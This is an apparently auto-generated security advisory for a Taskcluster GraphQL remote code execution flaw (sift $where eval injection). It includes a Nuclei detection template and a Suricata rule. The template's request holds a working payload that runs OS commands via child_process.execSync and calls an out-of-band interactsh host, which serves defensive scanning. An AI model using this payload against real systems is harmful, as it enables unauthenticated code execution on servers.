VULNpocalypse

CVE-2026-55094: Taskcluster: Unauthenticated remote code execution in `web-server` via GraphQL `filter` argument (sift `$where`)

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Taskcluster is the task execution framework that supports Mozilla’s continuous integration and release processes. Prior to version 100.3.0, Taskcluster is vulnerable to unauthenticated RCE on Taskcluster deployments with an anonymous role that exposes the GraphQL endpoint and parses filter arguments using the sift library. This issue has been patched in version 100.3.0.

Description quoted from the CVE record (assigned by GitHub_M, published 2026-09-30).

Weakness: CWE-20: Improper Input Validation; CWE-94: Improper Control of Generation of Code (‘Code Injection’); CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code (‘Eval Injection’); CWE-250: Execution with Unnecessary Privileges; CWE-306: Missing Authentication for Critical Function

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity none, availability none. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Also known as: EUVD-2026-90208, GHSA-v484-996h-6h4h

VEDAS cluster: VEDAS:DIMENSIONAL

Exploit Observer links 5 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (5)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (4)

Catalogue entries, not exploit evidence.

3 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.004
low predicted chance of attack
VEDAS
0.989
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
taskcluster taskclusterversion < 100.3.0Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

Taskcluster - GraphQL sift Filter Remote Code Execution

Taskcluster web-server before 100.3.0 exposes a GraphQL `filter: JSON` argument that is passed directly to the sift library. sift’s `$where` operator compiles its string value with `new Function(...)`, so on a deployment whose anonymous role can reach the GraphQL endpoint an unauthenticated attacker can execute arbitrary JavaScript, and therefore OS commands, on the server. This template proves code execution out-of-band by making the server resolve a unique interactsh hostname.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /graphql); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-55094.yaml
Show the template (38 lines)
yaml
id: CVE-2026-55094

info:
  name: "Taskcluster - GraphQL sift Filter Remote Code Execution"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Taskcluster web-server before 100.3.0 exposes a GraphQL `filter: JSON` argument that is passed directly
    to the sift library. sift's `$where` operator compiles its string value with `new Function(...)`, so on a
    deployment whose anonymous role can reach the GraphQL endpoint an unauthenticated attacker can execute
    arbitrary JavaScript, and therefore OS commands, on the server. This template proves code execution
    out-of-band by making the server resolve a unique interactsh hostname.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-55094&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=taskcluster&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.7
    cve-id: CVE-2026-55094
    cwe-id: CWE-94
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,taskcluster,graphql,sift,rce,oast,intrusive

http:
  - raw:
      - |
        POST /graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query":"query VedasQ($f: JSON){ clients(filter: $f){ edges { node { clientId } } } }","variables":{"f":{"$where":"global.process.mainModule.require('child_process').execSync('nslookup {{interactsh-url}}')"}}}
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

CVE-2026-55094.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-55094 Taskcluster GraphQL sift filter RCE via dollar-where operator. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-55094 Taskcluster GraphQL sift filter RCE via dollar-where operator"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"graphql"; nocase; http.request_body; content:"filter"; nocase; content:"$where"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-55094; reference:url,https://www.exploit.observer/?keyword=CVE-2026-55094&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=taskcluster&match=exact; sid:1087201; rev:1;)

CVE-2026-55094.rules on GitHub

References

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.